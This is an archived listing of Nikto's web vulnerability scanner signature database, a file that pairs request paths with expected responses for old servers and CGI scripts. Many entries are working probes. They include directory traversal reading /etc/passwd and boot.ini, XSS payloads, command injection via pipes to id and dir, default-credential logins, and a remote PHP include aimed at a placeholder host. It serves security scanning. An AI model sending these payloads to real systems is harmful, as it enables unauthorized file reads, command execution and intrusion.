home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / share / nikto / plugins / scan_database.db < prev    next >
Text File  |  2006-05-29  |  484KB  |  3,381 lines
  1. #VERSION,1.207
  2. #LASTMOD,02.12.2006
  3. # http://www.cirt.net
  4.  
  5. # This file may only be distributed and used with the full Nikto package.
  6. # This file may not be used with any software product without written permission from cirt.net.
  7. # (c) 2001-2005 cirt.net, All Rights Reserved
  8.  
  9. # By sending any database updates to cirt.net, it is assumed that you 
  10. # grant cirt.net the unlimited, non-exclusive right to reuse, modify and relicense the changes.
  11.  
  12. ########################################################################
  13. # Checks: ws type,root,method,file,result,information,data to send
  14. ########################################################################
  15. # <script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET"
  16. # is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  17.  
  18. ## These are the default site tests
  19. "apache","/","Celerra Web Manager","GET","Default EMC Cellera manager server is running."
  20. "apache","/","deafult Tomcat","GET","Appears to be a default Apache Tomcat install."
  21. "apache","/","default Tomcat","GET","Appears to be a default Apache Tomcat install."
  22. "apache","/","EMC ControlCenter","GET","Default EMC ControlCenter manager server is running."
  23. "apache","/","instead of the website","GET","Appears to be a default Apache install."
  24. "apache","/","Test Page for Apache","GET","Appears to be a default Apache install."
  25. "apache","/webtop/wdk/","Directory Listing for /wdk/","GET","Documentum Webtop Server appears to be installed"
  26. "compaq","/cpqlogin.htm","System Management Homepage","GET","Default Compaq/HP WBEM server is running."
  27. "compaq","/cpqlogin.htm","This is a private system","GET","Default Compaq/HP WBEM server is running."
  28. "dhost","/","DHost HTTP Server","GET","Default Novell NDS iMonitor was found. Default account may be 'sadmin' with no password."
  29. "dwhttpd","/","AnswerBook","GET","Default Sun Answerbook server running."
  30. "generic","/","Allaire Corporateion","GET","Default Jrun 2 server running."
  31. "generic","/","Cisco IP Phone","GET","Cisco VoIP Phone deafult web server found."
  32. "generic","/","Jaguar CTS","GET","Default Sybase Jaguar CTS server running."
  33. "generic","/","Jrun Management Console","GET","Default Jrun 3 server running."
  34. "generic","/","Lantronix","GET","Default Lantronix printer found."
  35. "generic","/","Storage Management","GET","Default IBM Tivoli Server Administration server is running."
  36. "generic","/","Welcome to the JMC","GET","Default Jrun 4 server running."
  37. "generic","/","XEROX WORKCENTRE","GET","Default Xerox WorkCentre server is running."
  38. "iis","/","The site you were trying to reach does not currently have a default page","GET","Appears to be a default IIS install."
  39. "iis","/","Welcome to IIS 4.0","GET","Appears to be a default IIS 4.0 install."
  40. "iis","/","Welcome to Microsoft Windows NT 4","GET","Appears to be a default IIS install."
  41. "lotus","/","body text=\"#000000\" bgcolor=\"#000000\" style=\"background-image:url(/homepage.nsf/homePage.gif?OpenImageResource)","GET","Appears to be a default Domino 6 install."
  42. "lotus","/","Domino 5","GET","Default Lotus Domino server running."
  43. "lotus","/","ESS Launch","GET","Default IBM TotalStorage server found."
  44. "netapp","/na_admin/","Network Appliance","GET","Default Network Appliance server found."
  45. "netscape","/","Web Server, Enterprise Edition 6.0","GET","Appears to be a default Netscape/iPlanet 6 install."
  46. "sambar","/","<TITLE>Sambar Server</TITLE>","GET","Appears to be a default Sambar install."
  47. "tivo","/TiVoConnect?Command=QueryContainer&Container=/&Recurse=Yes","TiVoContainer","GET","TiVo client service is running and may allow download of mp3 or jpg files."
  48. "tivo","/TiVoConnect?Command=QueryServer","Calypso Server","GET","The Tivo Calypso server is running. This page will display the version and platform it is running on. Other URLs may allow download of media."
  49.  
  50. ## These are normal tests
  51. "abyss","/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////","index of","GET","Abyss 1.03 reveals directory listing when 256 /'s are requested."
  52. "abyss","/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini","[fonts]","GET","Abyss allows directory traversal if %5c is in a URL. Upgrade to the latest version."
  53. "abyss","/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini","[windows]","GET","Abyss allows directory traversal if %5c is in a URL. Upgrade to the latest version."
  54. "abyss","/conspass.chl+","200","GET","Abyss allows hidden/protected files to be served if a + is added to the request."
  55. "abyss","/consport.chl+","200","GET","Abyss allows hidden/protected files to be served if a + is added to the request."
  56. "abyss","/general.chl+","200","GET","Abyss allows hidden/protected files to be served if a + is added to the request."
  57. "abyss","/srvstatus.chl+","200","GET","Abyss allows hidden/protected files to be served if a + is added to the request."
  58. "alchemyeye","@CGIDIRS../../../../../../../../../../WINNT/system32/ipconfig.exe","IP Configuration","GET","Alchemy Eye and Alchemy Network Monitor for Windows allow attackers to execute arbitrary commands."
  59. "alchemyeye","@CGIDIRSNUL/../../../../../../../../../WINNT/system32/ipconfig.exe","IP Configuration","GET","Alchemy Eye and Alchemy Network Monitor for Windows allow attackers to execute arbitrary commands."
  60. "alchemyeye","@CGIDIRSPRN/../../../../../../../../../WINNT/system32/ipconfig.exe","IP Configuration","GET","Alchemy Eye and Alchemy Network Monitor for Windows allow attackers to execute arbitrary commands."
  61. "apache","@CGIDIRS.htaccess","200","GET","Contains authorization information"
  62. "apache","@CGIDIRStest-cgi.bat","200","GET","This is an Apache for Win default. If Apache is lower than 1.3.23, this can be exploited as in test-cgi.bat?|dir+c:+>..\htdocs\listing.txt, but may not allow data sent back to the browser."
  63. "apache","/?D=A","index of \/","GET","Apache allows directory listings by requesting. Upgrade Apache or disable directory indexing."
  64. "apache","/?M=A","index of \/","GET","Apache allows directory listings by requesting. Upgrade Apache or disable directory indexing."
  65. "apache","/?N=D","index of \/","GET","Apache allows directory listings by requesting. Upgrade Apache or disable directory indexing."
  66. "apache","/?S=A","index of \/","GET","Apache allows directory listings by requesting. Upgrade Apache or disable directory indexing."
  67. "apache","/.DS_Store","200","GET","Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version."
  68. "apache","/.DS_Store","Bud1","GET","Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version."
  69. "apache","/.FBCIndex","200","GET","This file son OSX contains the source of the files in the directory. http://www.securiteam.com/securitynews/5LP0O005FS.html"
  70. "apache","/.FBCIndex","Bud2","GET","This file son OSX contains the source of the files in the directory. http://www.securiteam.com/securitynews/5LP0O005FS.html"
  71. "apache","//","index of","GET","Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page."
  72. "apache","//","not found for:","OPTIONS","By sending an OPTIONS request for /, the physical path to PHP can be revealed."
  73. "apache","/~nobody/etc/passwd","root:","GET","Apache is misconfigured to view files by accessing ~nobody/filename. Change UserDir from './' to something else in httpd.conf."
  74. "apache","/666%0a%0a<script>alert('Vulnerable');</script>666.jsp","<script>alert('Vulnerable');</script>","GET","Apache Tomcat 4.1 / Linux is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  75. "apache","/admin.cgi","Administration","GET","InterScan VirusWall administration is accessible without authentication."
  76. "apache","/blah-whatever.jsp","JSP file \"","GET","The Apache Tomcat 3.1 server reveals the web root path when requesting a non-existent JSP file. CAN-2000-0759."
  77. "apache","/cgi-bin/main_menu.pl","NetDetector Traffic Analysis","GET","The NetDetector allows unauthenticated users to perform database queries."
  78. "apache","/cgi-bin/printenv","DOCUMENT_ROOT","GET","Apache 2.0 default script is executable and gives server environment variables. All default scripts should be removed. It may also allow XSS types of attacks. BID-4431."
  79. "apache","/cgi-bin/printenv","Premature end of script headers: /","GET","Apache 2.0 printenv default script does not have execute permissions but leaks file system paths. It may also allow XSS types of attacks. BID-4431."
  80. "apache","/cgi-bin/search","=sourcedir","GET","Apache Stronghold 3.0 may reveal the web root in the source of this CGI ('sourcedir' value)."
  81. "apache","/cgi-bin/test-cgi","PATH_TRANSLATED","GET","Apache 2.0 default script is executable and reveals system information. All default scripts should be removed."
  82. "apache","/cgi-bin/test-cgi","Premature end of script headers: /","GET","Apache 2.0 printenv default script does not have execute permissions but leaks file system paths."
  83. "apache","/content/base/build/explorer/none.php?..:..:..:..:..:..:..:etc:passwd:","root:","GET","SunPS iRunbook Version 2.5.2 allows files to be read remotely."
  84. "apache","/content/base/build/explorer/none.php?/etc/passwd","root:","GET","SunPS iRunbook Version 2.5.2 allows files to be read remotely."
  85. "apache","/doc/rt/overview-summary.html","Packages","GET","Oracle Business Components for Java 3.1 docs is running."
  86. "apache","/doc/webmin.config.notes","login and password","GET","Webmin config file found, may contain Webmin ID/Password. Typically runs on port 10000."
  87. "apache","/docs/","200","GET","May give list of installed software"
  88. "apache","/docs/sdb/en/html/index.html","Support Database","GET","This may be a default SuSe Apache install. This is the support page."
  89. "apache","/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini","[windows]","GET","Apache allows files to be retrieved outside of the web root. Apache should be upgraded to 2.0.40 or above. CAN-2002-0661."
  90. "apache","/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini","[fonts]","GET","Apache allows files to be retrieved outside of the web root. Apache should be upgraded to 2.0.40 or above. CAN-2002-0661."
  91. "apache","/error/HTTP_NOT_FOUND.html.var","Available variants","GET","Apache reveals file system paths when invalid error documents are requested."
  92. "apache","/examples/","Directory Listing","GET","Directory indexing enabled, also default JSP examples."
  93. "apache","/examples/jsp/index.html","JSP Samples","GET","Apache Tomcat default JSP pages present."
  94. "apache","/examples/jsp/snp/snoop.jsp","Request Information","GET","Displays information about page retrievals, including other users."
  95. "apache","/examples/jsp/source.jsp??","Directory Listing","GET","Tomcat 3.23/3.24 allows directory listings by performing a malformed request to a default jsp. Default pages should be removed."
  96. "apache","/examples/servlet/AUX","200","GET","Apache Tomcat versions below 4.1 may be vulnerable to DoS by repeatedly requesting this file."
  97. "apache","/examples/servlet/TroubleShooter","TroubleShooter Servlet Output","GET","Tomcat default jsp page reveals system information and may be vulnerable to XSS."
  98. "apache","/examples/servlets/index.html","Servlet Examples","GET","Apache Tomcat default JSP pages present."
  99. "apache","/icons/","200","GET","Directory indexing is enabled, it should only be enabled for specific directories (if required). If indexing is not used, the /icons directory should be removed."
  100. "apache","/index.html.ca","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  101. "apache","/index.html.cz.iso8859-2","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  102. "apache","/index.html.de","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  103. "apache","/index.html.dk","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  104. "apache","/index.html.ee","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  105. "apache","/index.html.el","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  106. "apache","/index.html.en","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  107. "apache","/index.html.es","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  108. "apache","/index.html.et","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  109. "apache","/index.html.fr","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  110. "apache","/index.html.he.iso8859-8","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  111. "apache","/index.html.hr.iso8859-2","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  112. "apache","/index.html.it","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  113. "apache","/index.html.ja.iso2022-jp","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  114. "apache","/index.html.kr.iso2022-kr","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  115. "apache","/index.html.ltz.utf8","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  116. "apache","/index.html.lu.utf8","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  117. "apache","/index.html.nl","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  118. "apache","/index.html.nn","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  119. "apache","/index.html.no","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  120. "apache","/index.html.po.iso8859-2","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  121. "apache","/index.html.pt-br","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  122. "apache","/index.html.pt","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  123. "apache","/index.html.ru.cp-1251","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  124. "apache","/index.html.ru.cp866","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  125. "apache","/index.html.ru.iso-ru","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  126. "apache","/index.html.ru.koi8-r","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  127. "apache","/index.html.ru.utf8","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  128. "apache","/index.html.se","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  129. "apache","/index.html.tw.Big5","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  130. "apache","/index.html.tw","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  131. "apache","/index.html.var","200","GET","Apache default foreign language file found. All default files should be removed from the web server as they may give an attacker additional system information."
  132. "apache","/interscan/","Administration","GET","InterScan VirusWall administration is accessible without authentication."
  133. "apache","/jservdocs/","200","GET","Default Apache JServ docs should be removed."
  134. "apache","/lpt9","FileNotFoundException:","GET","Apache Tomcat 4.0.3 reveals the web root when requesting a non-existent DOS device. Upgrade to version 4.1.3beta or higher."
  135. "apache","/main_page.php","mazu.css","GET","Mazu Networks Profiler or Sensor is running."
  136. "apache","/manual/images/","200","GET","Apache 2.0 directory indexing is enabled, it should only be enabled for specific directories (if required). Apache's manual should be removed and directory indexing disabled."
  137. "apache","/NetDetector/middle_help_intro.htm","NIKSUN-HELP","GET","The system appears to be a Niksun NetDetector (network monitoring). ╩The help files should be available at /NetDetector/quick_help_index.html"
  138. "apache","/oem_webstage/cgi-bin/oemapp_cgi","This script","GET","Oracle reveals the CGI source by prepending /oem_webstage to CGI urls."
  139. "apache","/oem_webstage/oem.conf","DocumentRoot","GET","Oracle reveals a portion of the Apache httpd.conf file."
  140. "apache","/php/php.exe?c:\boot.ini","boot loader","GET","The Apache config allows php.exe to be called directly."," "
  141. "apache","/pls/admin","ENVIRONMENT","GET","Oracle Apache+WebDB gives a lot of system information via the pls/admin script"
  142. "apache","/server-info","200","GET","This gives a lot of Apache information. Comment out appropriate line in httpd.conf or restrict access to allowed hosts."
  143. "apache","/server-status","200","GET","This gives a lot of Apache information. Comment out appropriate line in httpd.conf or restrict access to allowed hosts."
  144. "apache","/servlet/MsgPage?action=test&msg=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","NetDetector 3.0 and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  145. "apache","/servlet/org.apache.catalina.ContainerServlet/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. CA-2000-02."
  146. "apache","/servlet/org.apache.catalina.Context/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. CA-2000-02."
  147. "apache","/servlet/org.apache.catalina.Globals/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. CA-2000-02."
  148. "apache","/servlet/org.apache.catalina.servlets.WebdavStatus/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Apache-Tomcat is vulnerable to Cross Site Scripting (XSS) by invoking java classes. CA-2000-02."
  149. "apache","/servlets/MsgPage?action=badlogin&msg=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","The NetDetector install is vulnerable to Cross Site Scripting (XSS) in it's invalid login message. CA-2000-02."
  150. "apache","/site/eg/source.asp","200","GET","This asp (installed with Apache::ASP) allows attackers to upload files to the server. Upgrade to 1.95 or higher. CAN-2000-0628."
  151. "apache","/soap/servlet/soaprouter","200","GET","Oracle 9iAS SOAP components allow anonymous users to deploy applications by default."
  152. "apache","/soapConfig.xml","200","GET","Oracle 9iAS configuration file found - see bugrtraq #4290."
  153. "apache","/stronghold-info","200","GET","Redhat Stronghold from versions 2.3 up to 3.0 disclose sensitive information. This gives information on configuration. CAN-2001-0868."
  154. "apache","/stronghold-status","200","GET","Redhat Stronghold from versions 2.3 up to 3.0 disclose sensitive information. CAN-2001-0868."
  155. "apache","/test","test hierarchy","GET","Apache Tomcat default file found. All default files should be removed."
  156. "apache","/test/jsp/buffer1.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  157. "apache","/test/jsp/buffer2.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  158. "apache","/test/jsp/buffer3.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  159. "apache","/test/jsp/buffer4.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  160. "apache","/test/jsp/declaration/IntegerOverflow.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  161. "apache","/test/jsp/extends1.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  162. "apache","/test/jsp/extends2.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  163. "apache","/test/jsp/Language.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  164. "apache","/test/jsp/pageAutoFlush.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  165. "apache","/test/jsp/pageDouble.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  166. "apache","/test/jsp/pageExtends.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  167. "apache","/test/jsp/pageImport2.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  168. "apache","/test/jsp/pageInfo.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  169. "apache","/test/jsp/pageInvalid.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  170. "apache","/test/jsp/pageIsErrorPage.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  171. "apache","/test/jsp/pageIsThreadSafe.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  172. "apache","/test/jsp/pageSession.jsp","Internal Servlet","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  173. "apache","/test/realPath.jsp","WEBROOT","GET","Apache Tomcat default file found which reveals the web root. The /test directory should be removed."
  174. "apache","/tomcat-docs/index.html","200","GET","Default Apache Tomcat documentation found."
  175. "apache","/webtop/wdk/samples/dumpRequest.jsp?J=%3Cscript%3Ealert('Vulnerable');%3C/script%3Ef","<script>alert('Vulnerable');</script>","GET","Documentum Webtop (Tomcat 4.1) is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  176. "apache","/webtop/wdk/samples/index.jsp","WDK Fusion Samples","GET","Documentum Webtop Example Code"
  177. "apache","/XSQLConfig.xml","200","GET","Oracle 9iAS configuration file found - see bugrtraq #4290."
  178. "cern","@CGIDIRS.www_acl","200","GET","Contains authorization information"
  179. "cern","@CGIDIRS.wwwacl","200","GET","Contains authorization information"
  180. "cern","@CGIDIRSls"," neither '/","GET","The CERN server lets attackers view the host's path. Should be upgraded to Apache, as CERN is not maintained."
  181. "cern","/.www_acl","200","GET","Contains authorization information"
  182. "cern","/.wwwacl","200","GET","Contains authorization information"
  183. "citrix","/applist.asp","200","GET","Citrix server may allow remote users to view applications installed without authenticating."
  184. "citrix","/boilerplate.asp?NFuse_Template=.../.../.../.../.../.../.../.../.../boot.ini&NFuse_CurrentFolder=/","boot loader","GET","Citrix CGI allows directory traversal."
  185. "compaq","/proxy/ssllogin?user=administrator&password=administrator",">administrator<","GET","Compaq Web-Based Management allows login with id/pass 'administrator'/'administrator'."
  186. "compaq","/proxy/ssllogin?user=administrator&password=operator",">operator<","GET","Compaq Web-Based Management allows login with id/pass 'operator'/'operator'."
  187. "compaq","/proxy/ssllogin?user=administrator&password=user",">user<","GET","Compaq Web-Based Management allows login with id/pass 'user'/'user'."
  188. "compaq","/Survey/Survey.Htm","System Components","GET","This Compaq device, without authentication, gives lots of system information."
  189. "compaq","/WEBAGENT/CQMGSERV/CF-SINFO.TPF","General Information","GET","This Compaq device, without authentication, gives lots of system information. Load all the pages at /WEBAGENT/FINDEX.TPL"
  190. "compaq","http://127.0.0.1:2301/ HTTP/1.0","Compaq WBEM Device","GET","The Compaq WBEM interface can act as an HTTP proxy, which can allow firewall or web proxy bypass. http://www.compaq.com/products/servers/management/SSRT0758.html"
  191. "dwhttpd","/ab2/\@AdminAddadmin?uid=foo&password=bar&re_password=bar","200","GET","Sun Answerbook may allow users to be created without proper authentication first. Attempted to add user 'foo' with password 'bar'."
  192. "dwhttpd","/ab2/\@AdminViewError","200","GET","Sun Answerbook allows viewing of the error logs without authentication."
  193. "generic","../../../../../../../../../../etc/*","passwd","GET","Charles Steinkuehler's LEAF sh-httpd allows remote users to read any file or directory on the system."
  194. "generic","../../../../../../../../../../etc/passw*","root:","GET","Charles Steinkuehler's LEAF sh-httpd allows remote users to read any file or directory on the system."
  195. "generic","@ADMINDIRSconfig.php","200","GET","PHP Config file may contain database IDs and passwords."
  196. "generic","@CGIDIRS.access","200","GET","Contains authorization information"
  197. "generic","@CGIDIRS.cobalt","200","GET","May allow remote admin of CGI scripts."
  198. "generic","@CGIDIRS.cobalt/alert/service.cgi?service=<h1>Hello!</h1><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Cobalt RaQ 4 administration CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02"
  199. "generic","@CGIDIRS.cobalt/alert/service.cgi?service=<img%20src=javascript:alert('Vulnerable')>","javascript:alert('Vulnerable')","GET","Cobalt RaQ 4 administration CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  200. "generic","@CGIDIRS.cobalt/alert/service.cgi?service=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Cobalt RaQ 4 administration CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  201. "generic","@CGIDIRS.htaccess.old","200","GET","Backup/Old copy of .htaccess - Contains authorization information"
  202. "generic","@CGIDIRS.htaccess.save","200","GET","Backup/Old copy of .htaccess - Contains authorization information"
  203. "generic","@CGIDIRS.htaccess","200","GET","Contains authorization information"
  204. "generic","@CGIDIRS.htaccess~","200","GET","Backup/Old copy of .htaccess - Contains authorization information"
  205. "generic","@CGIDIRS.htpasswd","200","GET","Contains authorization information"
  206. "generic","@CGIDIRS.namazu.cgi","200","GET","Namazu search engine found. Vulnerable to CSS attacks (fixed 2001-11-25). Attacker could write arbitrary files outside docroot (fixed 2000-01-26). CA-2000-02."
  207. "generic","@CGIDIRS.passwd","200","GET","Contains authorization information"
  208. "generic","@CGIDIRS","Index of ","GET","Directory indexing of CGI directory should be disabled."
  209. "generic","@CGIDIRS/htsearch?exclude=%60/etc/passwd%60","Unable to read word database file '","GET","htsearch may reveal file system paths."
  210. "generic","@CGIDIRS%2e%2e/abyss.conf","200","GET","The Abyss configuration file was successfully retrieved. Upgrade with the latest version/patches for 1.0 from http://www.aprelium.com/"
  211. "generic","@CGIDIRS14all-1.1.cgi?cfg=../../../../../../../../etc/passwd","root:","GET","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version."
  212. "generic","@CGIDIRS14all.cgi?cfg=../../../../../../../../etc/passwd","root:","GET","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version."
  213. "generic","@CGIDIRSa1disp3.cgi?../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers read arbitrary files on the host."
  214. "generic","@CGIDIRSa1stats/a1disp3.cgi?../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers read arbitrary files on the host."
  215. "generic","@CGIDIRSa1stats/a1disp3.cgi?../../../../../../../etc/passwd","root:","GET","Remote file retrieval."
  216. "generic","@CGIDIRSa1stats/a1disp4.cgi?../../../../../../../etc/passwd","root:","GET","Remote file retrieval."
  217. "generic","@CGIDIRSaddbanner.cgi","200","GET","This CGI may allow attackers to read any file on the system."
  218. "generic","@CGIDIRSadmin.cgi?list=../../../../../../../../../../etc/passwd","root:","GET","Add2it Mailman Free V1.73 allows arbitrary files to be retrieved."
  219. "generic","@CGIDIRSaf.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd","root:","GET","AlienForm2 revision 1.5 allows any file to be read from the remote system."
  220. "generic","@CGIDIRSaglimpse.cgi","200","GET","This CGI may allow attackers to execute remote commands."
  221. "generic","@CGIDIRSaglimpse","200","GET","This CGI may allow attackers to execute remote commands."
  222. "generic","@CGIDIRSAlbum?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0","resolv.conf","GET","This CGI allows attackers to view arbitrary files on the host."
  223. "generic","@CGIDIRSalibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,","boot.ini","GET","This CGI allows attackers to execute arbitrary commands on the server."
  224. "generic","@CGIDIRSalienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd","root:","GET","AlienForm2 revision 1.5 allows any file to be read from the remote system."
  225. "generic","@CGIDIRSanacondaclip.pl?template=../../../../../../../../../../etc/passwd","root:","GET","This allows attackers to read arbitrary files from the server."
  226. "generic","@CGIDIRSans.pl?p=../../../../../usr/bin/id|&blah","uid","GET","Avenger's News System allows commands to be issued remotely."
  227. "generic","@CGIDIRSans/ans.pl?p=../../../../../usr/bin/id|&blah","uid","GET","Avenger's News System allows commands to be issued remotely."
  228. "generic","@CGIDIRSapexec.pl?etype=odp&template=../../../../../../../../../../etc/passwd%00.html&passurl=/category/","root:","GET","This allows attackers to read arbitrary files from the server. CVE-2000-0975. BID-2338."
  229. "generic","@CGIDIRSarchitext_query.cgi","200","GET","Versions older than 1.1 of Excite for Web Servers allow attackers to execute arbitrary commands."
  230. "generic","@CGIDIRSarchitext_query.pl","200","GET","Versions older than 1.1 of Excite for Web Servers allow attackers to execute arbitrary commands."
  231. "generic","@CGIDIRSash","200","GET","Shell found in CGI dir!"
  232. "generic","@CGIDIRSastrocam.cgi","200","GET","Astrocam 1.4.1 contained buffer overflow BID-4684. Prior to 2.1.3 contained unspecified security bugs"
  233. "generic","@CGIDIRSAT-admin.cgi","200","GET","Admin interface...no known holes"
  234. "generic","@CGIDIRSathcgi.exe?command=showpage&script='],[0,0]];alert('Vulnerable');a=[['","<script>alert('Vulnerable')</script>","GET","Authoria HR Suite is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  235. "generic","@CGIDIRSatk/javascript/class.atkdateattribute.js.php?config_atkroot=http://xxxxxxxxxx/","http://xxxxxxxxxx/atk/","GET","Achievo can be made to include php files from another domain. Upgrade to a new version."
  236. "generic","@CGIDIRSauction/auction.cgi?action=Sort_Page&View=Search&Page=0&Cat_ID=&Lang=English&Search=All&Terms=<script>alert('Vulnerable');</script>&Where=&Sort=Photo&Dir=","<script>alert('Vulnerable')</script>","GET","Mewsoft Auction 3.0 from http://www.mewsoft.com/ is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  237. "generic","@CGIDIRSauktion.cgi?menue=../../../../../../../../../../etc/passwd","root:","GET","The CGI allows attackers to read arbitrary files remotely."
  238. "generic","@CGIDIRSauth_data/auth_user_file.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
  239. "generic","@CGIDIRSawstats.pl","Traffic","GET","Free realtime logfile analyzer for advanced web statistics. Should be protected."
  240. "generic","@CGIDIRSawstats/awstats.pl","Traffic","GET","Free realtime logfile analyzer for advanced web statistics. Should be protected."
  241. "generic","@CGIDIRSbadmin.cgi","200","GET","BannerWheel v1.0 is vulnerable to a local buffer overflow. If this is version 1.0 it should be upgrade."
  242. "generic","@CGIDIRSbanner.cgi","200","GET","This CGI may allow attackers to read any file on the system."
  243. "generic","@CGIDIRSbannereditor.cgi","200","GET","This CGI may allow attackers to read any file on the system."
